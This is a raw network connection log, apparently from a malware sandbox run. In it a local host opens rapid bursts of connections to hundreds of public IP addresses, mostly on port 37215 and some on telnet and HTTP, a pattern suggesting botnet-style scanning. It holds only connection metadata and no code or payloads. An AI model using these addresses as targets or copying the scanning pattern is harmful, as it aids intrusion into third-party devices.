Oct 17, 2024 02:19:43.299809933 CEST	55952	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:43.299902916 CEST	48600	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:43.304687977 CEST	23	58426	88.241.38.195	192.168.2.14
Oct 17, 2024 02:19:43.304699898 CEST	80	59064	198.90.180.54	192.168.2.14
Oct 17, 2024 02:19:43.304780960 CEST	59064	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:43.304805040 CEST	58426	23	192.168.2.14	88.241.38.195
Oct 17, 2024 02:19:43.304824114 CEST	37215	42374	41.37.238.162	192.168.2.14
Oct 17, 2024 02:19:43.304877996 CEST	42374	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.331778049 CEST	40528	23	192.168.2.14	164.55.11.160
Oct 17, 2024 02:19:43.331804991 CEST	40200	23	192.168.2.14	94.45.60.43
Oct 17, 2024 02:19:43.331809044 CEST	59294	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.331820965 CEST	38710	80	192.168.2.14	101.247.211.235
Oct 17, 2024 02:19:43.331824064 CEST	53532	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:43.331840038 CEST	60716	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:43.331840992 CEST	46318	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:43.331840038 CEST	33522	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:43.331854105 CEST	33370	80	192.168.2.14	151.5.201.239
Oct 17, 2024 02:19:43.340152979 CEST	52572	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.341176987 CEST	54482	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:43.348968983 CEST	48364	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.349004030 CEST	48364	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.350253105 CEST	49298	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.351026058 CEST	39356	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:43.352554083 CEST	43248	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:43.352554083 CEST	43248	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:43.354244947 CEST	47224	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:43.354376078 CEST	44182	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:43.356874943 CEST	51180	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.356874943 CEST	51180	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.363202095 CEST	51198	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.363785028 CEST	38574	80	192.168.2.14	155.248.209.160
Oct 17, 2024 02:19:43.363791943 CEST	54782	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:43.363796949 CEST	46240	37215	192.168.2.14	41.236.21.66
Oct 17, 2024 02:19:43.363799095 CEST	45838	37215	192.168.2.14	41.6.177.78
Oct 17, 2024 02:19:43.363799095 CEST	53732	37215	192.168.2.14	156.213.127.89
Oct 17, 2024 02:19:43.363799095 CEST	40926	80	192.168.2.14	166.156.182.79
Oct 17, 2024 02:19:43.363796949 CEST	41052	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:43.363799095 CEST	35278	80	192.168.2.14	136.140.231.208
Oct 17, 2024 02:19:43.364865065 CEST	56810	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:43.367767096 CEST	42906	23	192.168.2.14	8.130.124.168
Oct 17, 2024 02:19:43.367849112 CEST	33870	23	192.168.2.14	88.245.74.61
Oct 17, 2024 02:19:43.371567965 CEST	59064	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:43.371604919 CEST	59064	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:43.371774912 CEST	48364	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.375776052 CEST	43248	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:43.377403975 CEST	48180	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:43.377815008 CEST	59988	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:43.379777908 CEST	51180	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.380274057 CEST	20644	37215	192.168.2.14	41.237.37.106
Oct 17, 2024 02:19:43.380295038 CEST	20644	37215	192.168.2.14	156.176.141.231
Oct 17, 2024 02:19:43.380300045 CEST	20644	37215	192.168.2.14	197.72.226.75
Oct 17, 2024 02:19:43.380300045 CEST	20644	37215	192.168.2.14	156.156.97.11
Oct 17, 2024 02:19:43.380302906 CEST	20644	37215	192.168.2.14	156.219.220.251
Oct 17, 2024 02:19:43.380317926 CEST	20644	37215	192.168.2.14	156.44.172.187
Oct 17, 2024 02:19:43.380326986 CEST	20644	37215	192.168.2.14	156.209.226.241
Oct 17, 2024 02:19:43.380326986 CEST	20644	37215	192.168.2.14	197.0.112.16
Oct 17, 2024 02:19:43.380341053 CEST	20644	37215	192.168.2.14	197.240.57.180
Oct 17, 2024 02:19:43.380342960 CEST	20644	37215	192.168.2.14	156.164.40.213
Oct 17, 2024 02:19:43.380351067 CEST	20644	37215	192.168.2.14	41.35.195.194
Oct 17, 2024 02:19:43.380359888 CEST	20644	37215	192.168.2.14	156.227.215.176
Oct 17, 2024 02:19:43.380376101 CEST	20644	37215	192.168.2.14	41.77.25.5
Oct 17, 2024 02:19:43.380394936 CEST	20644	37215	192.168.2.14	197.214.152.2
Oct 17, 2024 02:19:43.380424023 CEST	20644	37215	192.168.2.14	156.106.87.235
Oct 17, 2024 02:19:43.380426884 CEST	20644	37215	192.168.2.14	197.55.30.105
Oct 17, 2024 02:19:43.380439997 CEST	20644	37215	192.168.2.14	156.250.12.239
Oct 17, 2024 02:19:43.380444050 CEST	20644	37215	192.168.2.14	156.208.88.125
Oct 17, 2024 02:19:43.380448103 CEST	20644	37215	192.168.2.14	41.87.202.227
Oct 17, 2024 02:19:43.380464077 CEST	20644	37215	192.168.2.14	156.9.125.167
Oct 17, 2024 02:19:43.380464077 CEST	20644	37215	192.168.2.14	197.68.46.121
Oct 17, 2024 02:19:43.380464077 CEST	20644	37215	192.168.2.14	41.25.140.83
Oct 17, 2024 02:19:43.380469084 CEST	20644	37215	192.168.2.14	156.79.188.16
Oct 17, 2024 02:19:43.380469084 CEST	20644	37215	192.168.2.14	156.203.225.150
Oct 17, 2024 02:19:43.380471945 CEST	20644	37215	192.168.2.14	41.255.136.173
Oct 17, 2024 02:19:43.380472898 CEST	20644	37215	192.168.2.14	197.109.98.227
Oct 17, 2024 02:19:43.380477905 CEST	20644	37215	192.168.2.14	156.197.182.81
Oct 17, 2024 02:19:43.380487919 CEST	20644	37215	192.168.2.14	156.42.233.120
Oct 17, 2024 02:19:43.380492926 CEST	20644	37215	192.168.2.14	41.60.129.129
Oct 17, 2024 02:19:43.380507946 CEST	20644	37215	192.168.2.14	156.92.179.132
Oct 17, 2024 02:19:43.380507946 CEST	20644	37215	192.168.2.14	41.255.32.213
Oct 17, 2024 02:19:43.380512953 CEST	20644	37215	192.168.2.14	41.100.97.59
Oct 17, 2024 02:19:43.380512953 CEST	20644	37215	192.168.2.14	197.88.126.228
Oct 17, 2024 02:19:43.380512953 CEST	20644	37215	192.168.2.14	156.156.90.143
Oct 17, 2024 02:19:43.380522966 CEST	20644	37215	192.168.2.14	156.206.6.156
Oct 17, 2024 02:19:43.380525112 CEST	20644	37215	192.168.2.14	41.15.90.39
Oct 17, 2024 02:19:43.380525112 CEST	20644	37215	192.168.2.14	197.164.252.200
Oct 17, 2024 02:19:43.380532980 CEST	20644	37215	192.168.2.14	197.161.60.172
Oct 17, 2024 02:19:43.380551100 CEST	20644	37215	192.168.2.14	156.100.224.193
Oct 17, 2024 02:19:43.380556107 CEST	20644	37215	192.168.2.14	41.90.179.132
Oct 17, 2024 02:19:43.380561113 CEST	20644	37215	192.168.2.14	156.200.13.49
Oct 17, 2024 02:19:43.380561113 CEST	20644	37215	192.168.2.14	197.153.53.131
Oct 17, 2024 02:19:43.380568981 CEST	20644	37215	192.168.2.14	197.126.109.150
Oct 17, 2024 02:19:43.380573988 CEST	20644	37215	192.168.2.14	41.208.112.76
Oct 17, 2024 02:19:43.380577087 CEST	20644	37215	192.168.2.14	156.77.222.57
Oct 17, 2024 02:19:43.380577087 CEST	20644	37215	192.168.2.14	41.7.174.196
Oct 17, 2024 02:19:43.380578995 CEST	20644	37215	192.168.2.14	41.199.9.108
Oct 17, 2024 02:19:43.380579948 CEST	20644	37215	192.168.2.14	41.124.250.132
Oct 17, 2024 02:19:43.380593061 CEST	20644	37215	192.168.2.14	197.197.190.116
Oct 17, 2024 02:19:43.380599976 CEST	20644	37215	192.168.2.14	197.39.68.197
Oct 17, 2024 02:19:43.380611897 CEST	20644	37215	192.168.2.14	156.65.120.207
Oct 17, 2024 02:19:43.380631924 CEST	20644	37215	192.168.2.14	41.230.143.199
Oct 17, 2024 02:19:43.380633116 CEST	20644	37215	192.168.2.14	156.167.90.208
Oct 17, 2024 02:19:43.380634069 CEST	20644	37215	192.168.2.14	156.15.232.214
Oct 17, 2024 02:19:43.380634069 CEST	20644	37215	192.168.2.14	41.82.67.39
Oct 17, 2024 02:19:43.380659103 CEST	20644	37215	192.168.2.14	156.68.217.136
Oct 17, 2024 02:19:43.380671978 CEST	20644	37215	192.168.2.14	41.175.112.60
Oct 17, 2024 02:19:43.380671978 CEST	20644	37215	192.168.2.14	41.19.204.39
Oct 17, 2024 02:19:43.380671978 CEST	20644	37215	192.168.2.14	156.116.199.99
Oct 17, 2024 02:19:43.380693913 CEST	20644	37215	192.168.2.14	41.57.229.9
Oct 17, 2024 02:19:43.380693913 CEST	20644	37215	192.168.2.14	41.25.183.224
Oct 17, 2024 02:19:43.380708933 CEST	20644	37215	192.168.2.14	41.155.209.183
Oct 17, 2024 02:19:43.380721092 CEST	20644	37215	192.168.2.14	156.15.141.84
Oct 17, 2024 02:19:43.380723953 CEST	20644	37215	192.168.2.14	41.32.89.189
Oct 17, 2024 02:19:43.380724907 CEST	20644	37215	192.168.2.14	41.177.156.213
Oct 17, 2024 02:19:43.380731106 CEST	20644	37215	192.168.2.14	41.126.70.242
Oct 17, 2024 02:19:43.380739927 CEST	20644	37215	192.168.2.14	156.43.196.35
Oct 17, 2024 02:19:43.380743980 CEST	20644	37215	192.168.2.14	197.41.130.247
Oct 17, 2024 02:19:43.380753994 CEST	20644	37215	192.168.2.14	156.21.128.0
Oct 17, 2024 02:19:43.380753994 CEST	20644	37215	192.168.2.14	197.54.131.113
Oct 17, 2024 02:19:43.380770922 CEST	20644	37215	192.168.2.14	41.173.30.4
Oct 17, 2024 02:19:43.380776882 CEST	20644	37215	192.168.2.14	197.201.169.191
Oct 17, 2024 02:19:43.380776882 CEST	20644	37215	192.168.2.14	41.8.69.87
Oct 17, 2024 02:19:43.380786896 CEST	20644	37215	192.168.2.14	41.187.196.135
Oct 17, 2024 02:19:43.380799055 CEST	20644	37215	192.168.2.14	156.115.99.44
Oct 17, 2024 02:19:43.380800009 CEST	20644	37215	192.168.2.14	197.244.52.92
Oct 17, 2024 02:19:43.380817890 CEST	20644	37215	192.168.2.14	41.248.218.242
Oct 17, 2024 02:19:43.380834103 CEST	20644	37215	192.168.2.14	197.209.210.142
Oct 17, 2024 02:19:43.380851030 CEST	20644	37215	192.168.2.14	156.123.52.198
Oct 17, 2024 02:19:43.380851984 CEST	20644	37215	192.168.2.14	156.171.69.35
Oct 17, 2024 02:19:43.380870104 CEST	20644	37215	192.168.2.14	197.237.75.26
Oct 17, 2024 02:19:43.380871058 CEST	20644	37215	192.168.2.14	41.87.79.120
Oct 17, 2024 02:19:43.380871058 CEST	20644	37215	192.168.2.14	41.129.138.81
Oct 17, 2024 02:19:43.380887032 CEST	20644	37215	192.168.2.14	41.149.0.176
Oct 17, 2024 02:19:43.380901098 CEST	20644	37215	192.168.2.14	156.234.185.185
Oct 17, 2024 02:19:43.380901098 CEST	20644	37215	192.168.2.14	156.197.50.93
Oct 17, 2024 02:19:43.380908012 CEST	20644	37215	192.168.2.14	41.124.172.27
Oct 17, 2024 02:19:43.380925894 CEST	20644	37215	192.168.2.14	156.86.195.221
Oct 17, 2024 02:19:43.380927086 CEST	20644	37215	192.168.2.14	156.74.102.178
Oct 17, 2024 02:19:43.380930901 CEST	20644	37215	192.168.2.14	156.220.160.68
Oct 17, 2024 02:19:43.380930901 CEST	20644	37215	192.168.2.14	197.92.173.88
Oct 17, 2024 02:19:43.380943060 CEST	20644	37215	192.168.2.14	156.73.47.23
Oct 17, 2024 02:19:43.380960941 CEST	20644	37215	192.168.2.14	156.232.8.69
Oct 17, 2024 02:19:43.380971909 CEST	20644	37215	192.168.2.14	41.174.112.128
Oct 17, 2024 02:19:43.380971909 CEST	20644	37215	192.168.2.14	197.95.240.181
Oct 17, 2024 02:19:43.380974054 CEST	20644	37215	192.168.2.14	197.153.248.105
Oct 17, 2024 02:19:43.380985022 CEST	20644	37215	192.168.2.14	156.84.104.228
Oct 17, 2024 02:19:43.380994081 CEST	20644	37215	192.168.2.14	156.120.72.207
Oct 17, 2024 02:19:43.380997896 CEST	20644	37215	192.168.2.14	41.176.33.141
Oct 17, 2024 02:19:43.381006956 CEST	20644	37215	192.168.2.14	156.145.68.9
Oct 17, 2024 02:19:43.381022930 CEST	20644	37215	192.168.2.14	41.118.191.209
Oct 17, 2024 02:19:43.381022930 CEST	20644	37215	192.168.2.14	197.155.22.223
Oct 17, 2024 02:19:43.381026030 CEST	20644	37215	192.168.2.14	41.115.4.160
Oct 17, 2024 02:19:43.381030083 CEST	20644	37215	192.168.2.14	41.196.6.3
Oct 17, 2024 02:19:43.381046057 CEST	20644	37215	192.168.2.14	156.163.142.37
Oct 17, 2024 02:19:43.381047010 CEST	20644	37215	192.168.2.14	197.78.182.204
Oct 17, 2024 02:19:43.381052971 CEST	20644	37215	192.168.2.14	41.254.110.146
Oct 17, 2024 02:19:43.381052971 CEST	20644	37215	192.168.2.14	156.203.226.247
Oct 17, 2024 02:19:43.381066084 CEST	20644	37215	192.168.2.14	156.32.166.170
Oct 17, 2024 02:19:43.381073952 CEST	20644	37215	192.168.2.14	197.39.241.167
Oct 17, 2024 02:19:43.381079912 CEST	20644	37215	192.168.2.14	197.182.120.177
Oct 17, 2024 02:19:43.381088018 CEST	20644	37215	192.168.2.14	41.36.201.182
Oct 17, 2024 02:19:43.381103992 CEST	20644	37215	192.168.2.14	41.213.182.254
Oct 17, 2024 02:19:43.381103992 CEST	20644	37215	192.168.2.14	156.45.203.252
Oct 17, 2024 02:19:43.381105900 CEST	20644	37215	192.168.2.14	156.195.183.204
Oct 17, 2024 02:19:43.381105900 CEST	20644	37215	192.168.2.14	156.45.210.4
Oct 17, 2024 02:19:43.381107092 CEST	20644	37215	192.168.2.14	156.222.21.248
Oct 17, 2024 02:19:43.381107092 CEST	20644	37215	192.168.2.14	156.101.79.115
Oct 17, 2024 02:19:43.381128073 CEST	20644	37215	192.168.2.14	197.205.61.100
Oct 17, 2024 02:19:43.381128073 CEST	20644	37215	192.168.2.14	197.7.122.227
Oct 17, 2024 02:19:43.381130934 CEST	20644	37215	192.168.2.14	41.201.108.34
Oct 17, 2024 02:19:43.381149054 CEST	20644	37215	192.168.2.14	41.147.94.73
Oct 17, 2024 02:19:43.381149054 CEST	20644	37215	192.168.2.14	156.129.116.22
Oct 17, 2024 02:19:43.381165028 CEST	20644	37215	192.168.2.14	41.102.173.28
Oct 17, 2024 02:19:43.381166935 CEST	20644	37215	192.168.2.14	197.8.55.178
Oct 17, 2024 02:19:43.381175041 CEST	20644	37215	192.168.2.14	156.95.200.176
Oct 17, 2024 02:19:43.381187916 CEST	20644	37215	192.168.2.14	197.133.162.253
Oct 17, 2024 02:19:43.381190062 CEST	20644	37215	192.168.2.14	41.28.62.121
Oct 17, 2024 02:19:43.381191015 CEST	20644	37215	192.168.2.14	156.50.235.29
Oct 17, 2024 02:19:43.381198883 CEST	20644	37215	192.168.2.14	41.67.15.62
Oct 17, 2024 02:19:43.381218910 CEST	20644	37215	192.168.2.14	197.170.185.215
Oct 17, 2024 02:19:43.381218910 CEST	20644	37215	192.168.2.14	197.1.192.6
Oct 17, 2024 02:19:43.381226063 CEST	20644	37215	192.168.2.14	41.136.219.139
Oct 17, 2024 02:19:43.381238937 CEST	20644	37215	192.168.2.14	41.226.182.67
Oct 17, 2024 02:19:43.381242990 CEST	20644	37215	192.168.2.14	156.154.73.247
Oct 17, 2024 02:19:43.381252050 CEST	20644	37215	192.168.2.14	156.217.186.166
Oct 17, 2024 02:19:43.381252050 CEST	20644	37215	192.168.2.14	41.78.252.213
Oct 17, 2024 02:19:43.381269932 CEST	20644	37215	192.168.2.14	197.73.167.93
Oct 17, 2024 02:19:43.381274939 CEST	20644	37215	192.168.2.14	197.219.253.181
Oct 17, 2024 02:19:43.381280899 CEST	20644	37215	192.168.2.14	156.6.123.11
Oct 17, 2024 02:19:43.381297112 CEST	20644	37215	192.168.2.14	156.105.89.161
Oct 17, 2024 02:19:43.381297112 CEST	20644	37215	192.168.2.14	41.174.37.104
Oct 17, 2024 02:19:43.381300926 CEST	20644	37215	192.168.2.14	156.218.123.109
Oct 17, 2024 02:19:43.381316900 CEST	20644	37215	192.168.2.14	156.103.161.82
Oct 17, 2024 02:19:43.381334066 CEST	20644	37215	192.168.2.14	197.87.65.147
Oct 17, 2024 02:19:43.381339073 CEST	20644	37215	192.168.2.14	156.135.180.102
Oct 17, 2024 02:19:43.381356955 CEST	20644	37215	192.168.2.14	156.230.205.248
Oct 17, 2024 02:19:43.381356955 CEST	20644	37215	192.168.2.14	156.147.30.226
Oct 17, 2024 02:19:43.381361008 CEST	20644	37215	192.168.2.14	41.174.28.183
Oct 17, 2024 02:19:43.381372929 CEST	20644	37215	192.168.2.14	41.203.65.125
Oct 17, 2024 02:19:43.381372929 CEST	20644	37215	192.168.2.14	197.84.206.82
Oct 17, 2024 02:19:43.381396055 CEST	20644	37215	192.168.2.14	156.235.252.153
Oct 17, 2024 02:19:43.381397009 CEST	20644	37215	192.168.2.14	156.102.204.232
Oct 17, 2024 02:19:43.381402016 CEST	20644	37215	192.168.2.14	197.158.226.29
Oct 17, 2024 02:19:43.381402016 CEST	20644	37215	192.168.2.14	41.192.142.67
Oct 17, 2024 02:19:43.381407976 CEST	20644	37215	192.168.2.14	41.63.182.16
Oct 17, 2024 02:19:43.381417036 CEST	20644	37215	192.168.2.14	197.120.101.199
Oct 17, 2024 02:19:43.381419897 CEST	20644	37215	192.168.2.14	197.188.135.220
Oct 17, 2024 02:19:43.381433010 CEST	20644	37215	192.168.2.14	41.54.193.176
Oct 17, 2024 02:19:43.381437063 CEST	20644	37215	192.168.2.14	197.242.125.41
Oct 17, 2024 02:19:43.381442070 CEST	20644	37215	192.168.2.14	197.182.161.88
Oct 17, 2024 02:19:43.381443977 CEST	20644	37215	192.168.2.14	156.130.37.25
Oct 17, 2024 02:19:43.381448030 CEST	20644	37215	192.168.2.14	156.164.80.124
Oct 17, 2024 02:19:43.381454945 CEST	20644	37215	192.168.2.14	156.242.58.146
Oct 17, 2024 02:19:43.381474972 CEST	20644	37215	192.168.2.14	41.217.225.11
Oct 17, 2024 02:19:43.381478071 CEST	20644	37215	192.168.2.14	156.84.202.40
Oct 17, 2024 02:19:43.381493092 CEST	20644	37215	192.168.2.14	156.163.171.140
Oct 17, 2024 02:19:43.381505013 CEST	20644	37215	192.168.2.14	197.43.157.65
Oct 17, 2024 02:19:43.381517887 CEST	20644	37215	192.168.2.14	41.198.75.4
Oct 17, 2024 02:19:43.381525993 CEST	20644	37215	192.168.2.14	156.35.242.155
Oct 17, 2024 02:19:43.381525993 CEST	20644	37215	192.168.2.14	156.106.189.241
Oct 17, 2024 02:19:43.381547928 CEST	20644	37215	192.168.2.14	197.143.22.205
Oct 17, 2024 02:19:43.381550074 CEST	20644	37215	192.168.2.14	197.113.219.98
Oct 17, 2024 02:19:43.381550074 CEST	20644	37215	192.168.2.14	41.225.146.9
Oct 17, 2024 02:19:43.381553888 CEST	20644	37215	192.168.2.14	197.26.107.205
Oct 17, 2024 02:19:43.381575108 CEST	20644	37215	192.168.2.14	41.187.145.29
Oct 17, 2024 02:19:43.381581068 CEST	20644	37215	192.168.2.14	156.251.176.243
Oct 17, 2024 02:19:43.381581068 CEST	20644	37215	192.168.2.14	41.136.144.252
Oct 17, 2024 02:19:43.381613016 CEST	20644	37215	192.168.2.14	197.6.205.144
Oct 17, 2024 02:19:43.381613970 CEST	20644	37215	192.168.2.14	41.182.148.0
Oct 17, 2024 02:19:43.381614923 CEST	20644	37215	192.168.2.14	156.22.123.150
Oct 17, 2024 02:19:43.381618023 CEST	20644	37215	192.168.2.14	156.167.50.230
Oct 17, 2024 02:19:43.381618023 CEST	20644	37215	192.168.2.14	156.86.5.106
Oct 17, 2024 02:19:43.381622076 CEST	20644	37215	192.168.2.14	156.70.97.254
Oct 17, 2024 02:19:43.381633997 CEST	20644	37215	192.168.2.14	156.5.147.101
Oct 17, 2024 02:19:43.381645918 CEST	20644	37215	192.168.2.14	156.53.247.27
Oct 17, 2024 02:19:43.381653070 CEST	20644	37215	192.168.2.14	156.158.159.198
Oct 17, 2024 02:19:43.381659031 CEST	20644	37215	192.168.2.14	156.115.189.173
Oct 17, 2024 02:19:43.381663084 CEST	20644	37215	192.168.2.14	41.217.231.15
Oct 17, 2024 02:19:43.381664038 CEST	20644	37215	192.168.2.14	156.33.226.229
Oct 17, 2024 02:19:43.381664038 CEST	20644	37215	192.168.2.14	41.244.39.191
Oct 17, 2024 02:19:43.381680965 CEST	20644	37215	192.168.2.14	197.30.201.253
Oct 17, 2024 02:19:43.381683111 CEST	20644	37215	192.168.2.14	156.72.52.54
Oct 17, 2024 02:19:43.381695986 CEST	20644	37215	192.168.2.14	41.59.83.220
Oct 17, 2024 02:19:43.381704092 CEST	20644	37215	192.168.2.14	41.95.84.222
Oct 17, 2024 02:19:43.381704092 CEST	20644	37215	192.168.2.14	156.250.187.183
Oct 17, 2024 02:19:43.381704092 CEST	20644	37215	192.168.2.14	197.13.176.114
Oct 17, 2024 02:19:43.381706953 CEST	20644	37215	192.168.2.14	197.137.193.38
Oct 17, 2024 02:19:43.381715059 CEST	20644	37215	192.168.2.14	197.205.16.174
Oct 17, 2024 02:19:43.381731987 CEST	20644	37215	192.168.2.14	156.208.237.192
Oct 17, 2024 02:19:43.381735086 CEST	20644	37215	192.168.2.14	156.32.254.130
Oct 17, 2024 02:19:43.381738901 CEST	20644	37215	192.168.2.14	197.83.48.210
Oct 17, 2024 02:19:43.381747961 CEST	20644	37215	192.168.2.14	41.156.62.132
Oct 17, 2024 02:19:43.381762981 CEST	20644	37215	192.168.2.14	156.226.161.78
Oct 17, 2024 02:19:43.381762981 CEST	20644	37215	192.168.2.14	41.137.203.7
Oct 17, 2024 02:19:43.381779909 CEST	20644	37215	192.168.2.14	197.18.237.40
Oct 17, 2024 02:19:43.381786108 CEST	20644	37215	192.168.2.14	156.152.159.46
Oct 17, 2024 02:19:43.381802082 CEST	20644	37215	192.168.2.14	41.51.81.216
Oct 17, 2024 02:19:43.381809950 CEST	20644	37215	192.168.2.14	197.118.121.138
Oct 17, 2024 02:19:43.381814003 CEST	20644	37215	192.168.2.14	41.59.17.200
Oct 17, 2024 02:19:43.381817102 CEST	20644	37215	192.168.2.14	197.38.127.79
Oct 17, 2024 02:19:43.381841898 CEST	20644	37215	192.168.2.14	41.144.194.103
Oct 17, 2024 02:19:43.381843090 CEST	20644	37215	192.168.2.14	197.120.146.240
Oct 17, 2024 02:19:43.381843090 CEST	20644	37215	192.168.2.14	41.215.48.153
Oct 17, 2024 02:19:43.381845951 CEST	20644	37215	192.168.2.14	41.172.168.20
Oct 17, 2024 02:19:43.381849051 CEST	20644	37215	192.168.2.14	197.243.161.144
Oct 17, 2024 02:19:43.381860018 CEST	20644	37215	192.168.2.14	156.160.89.185
Oct 17, 2024 02:19:43.381865025 CEST	20644	37215	192.168.2.14	156.195.94.76
Oct 17, 2024 02:19:43.381880999 CEST	20644	37215	192.168.2.14	156.194.221.207
Oct 17, 2024 02:19:43.381890059 CEST	20644	37215	192.168.2.14	41.43.46.231
Oct 17, 2024 02:19:43.381890059 CEST	20644	37215	192.168.2.14	197.14.150.165
Oct 17, 2024 02:19:43.381892920 CEST	20644	37215	192.168.2.14	197.187.102.78
Oct 17, 2024 02:19:43.381912947 CEST	20644	37215	192.168.2.14	156.210.168.34
Oct 17, 2024 02:19:43.381915092 CEST	20644	37215	192.168.2.14	156.166.67.197
Oct 17, 2024 02:19:43.381921053 CEST	20644	37215	192.168.2.14	156.204.58.179
Oct 17, 2024 02:19:43.381922960 CEST	20644	37215	192.168.2.14	156.38.102.190
Oct 17, 2024 02:19:43.381926060 CEST	20644	37215	192.168.2.14	41.213.64.54
Oct 17, 2024 02:19:43.381941080 CEST	20644	37215	192.168.2.14	197.239.65.50
Oct 17, 2024 02:19:43.381948948 CEST	20644	37215	192.168.2.14	41.159.32.214
Oct 17, 2024 02:19:43.381964922 CEST	20644	37215	192.168.2.14	156.178.0.164
Oct 17, 2024 02:19:43.381964922 CEST	20644	37215	192.168.2.14	41.123.22.197
Oct 17, 2024 02:19:43.381966114 CEST	20644	37215	192.168.2.14	41.152.219.166
Oct 17, 2024 02:19:43.381969929 CEST	20644	37215	192.168.2.14	41.105.91.42
Oct 17, 2024 02:19:43.381973028 CEST	20644	37215	192.168.2.14	41.0.9.211
Oct 17, 2024 02:19:43.381973982 CEST	20644	37215	192.168.2.14	156.139.187.169
Oct 17, 2024 02:19:43.381973982 CEST	20644	37215	192.168.2.14	41.32.29.101
Oct 17, 2024 02:19:43.381988049 CEST	20644	37215	192.168.2.14	156.68.38.31
Oct 17, 2024 02:19:43.381995916 CEST	20644	37215	192.168.2.14	197.108.53.188
Oct 17, 2024 02:19:43.382008076 CEST	20644	37215	192.168.2.14	197.218.253.56
Oct 17, 2024 02:19:43.382008076 CEST	20644	37215	192.168.2.14	197.13.140.126
Oct 17, 2024 02:19:43.382009983 CEST	20644	37215	192.168.2.14	197.115.186.43
Oct 17, 2024 02:19:43.382025957 CEST	20644	37215	192.168.2.14	156.153.23.21
Oct 17, 2024 02:19:43.382025957 CEST	20644	37215	192.168.2.14	156.240.170.14
Oct 17, 2024 02:19:43.382040024 CEST	20644	37215	192.168.2.14	197.170.101.24
Oct 17, 2024 02:19:43.382054090 CEST	20644	37215	192.168.2.14	156.213.14.205
Oct 17, 2024 02:19:43.382054090 CEST	20644	37215	192.168.2.14	156.133.102.248
Oct 17, 2024 02:19:43.382054090 CEST	20644	37215	192.168.2.14	197.168.209.29
Oct 17, 2024 02:19:43.382070065 CEST	20644	37215	192.168.2.14	197.7.208.26
Oct 17, 2024 02:19:43.382071972 CEST	20644	37215	192.168.2.14	197.43.70.62
Oct 17, 2024 02:19:43.382085085 CEST	20644	37215	192.168.2.14	41.114.238.109
Oct 17, 2024 02:19:43.382086039 CEST	20644	37215	192.168.2.14	156.74.125.25
Oct 17, 2024 02:19:43.382114887 CEST	20644	37215	192.168.2.14	197.165.83.92
Oct 17, 2024 02:19:43.382114887 CEST	20644	37215	192.168.2.14	156.248.63.57
Oct 17, 2024 02:19:43.382132053 CEST	20644	37215	192.168.2.14	197.31.7.23
Oct 17, 2024 02:19:43.382148027 CEST	20644	37215	192.168.2.14	156.119.215.68
Oct 17, 2024 02:19:43.382149935 CEST	20644	37215	192.168.2.14	197.182.220.154
Oct 17, 2024 02:19:43.382169008 CEST	20644	37215	192.168.2.14	197.28.22.155
Oct 17, 2024 02:19:43.382200956 CEST	20644	37215	192.168.2.14	41.119.155.33
Oct 17, 2024 02:19:43.382200956 CEST	20644	37215	192.168.2.14	197.81.147.105
Oct 17, 2024 02:19:43.382200956 CEST	20644	37215	192.168.2.14	156.1.234.170
Oct 17, 2024 02:19:43.382200956 CEST	20644	37215	192.168.2.14	156.145.161.125
Oct 17, 2024 02:19:43.382210016 CEST	20644	37215	192.168.2.14	41.182.228.189
Oct 17, 2024 02:19:43.382230043 CEST	20644	37215	192.168.2.14	156.177.182.74
Oct 17, 2024 02:19:43.382246971 CEST	20644	37215	192.168.2.14	156.107.186.69
Oct 17, 2024 02:19:43.382261992 CEST	20644	37215	192.168.2.14	197.211.31.97
Oct 17, 2024 02:19:43.382275105 CEST	20644	37215	192.168.2.14	156.156.238.189
Oct 17, 2024 02:19:43.382277966 CEST	20644	37215	192.168.2.14	197.252.100.129
Oct 17, 2024 02:19:43.382278919 CEST	20644	37215	192.168.2.14	156.229.84.140
Oct 17, 2024 02:19:43.382281065 CEST	20644	37215	192.168.2.14	197.104.95.22
Oct 17, 2024 02:19:43.382281065 CEST	20644	37215	192.168.2.14	197.89.175.95
Oct 17, 2024 02:19:43.382303953 CEST	20644	37215	192.168.2.14	197.174.173.9
Oct 17, 2024 02:19:43.382312059 CEST	20644	37215	192.168.2.14	156.249.65.27
Oct 17, 2024 02:19:43.382314920 CEST	20644	37215	192.168.2.14	156.232.76.125
Oct 17, 2024 02:19:43.382332087 CEST	20644	37215	192.168.2.14	156.167.180.205
Oct 17, 2024 02:19:43.382332087 CEST	20644	37215	192.168.2.14	197.246.143.150
Oct 17, 2024 02:19:43.382339001 CEST	20644	37215	192.168.2.14	41.54.150.187
Oct 17, 2024 02:19:43.382344961 CEST	20644	37215	192.168.2.14	197.179.119.93
Oct 17, 2024 02:19:43.382354975 CEST	20644	37215	192.168.2.14	197.181.80.134
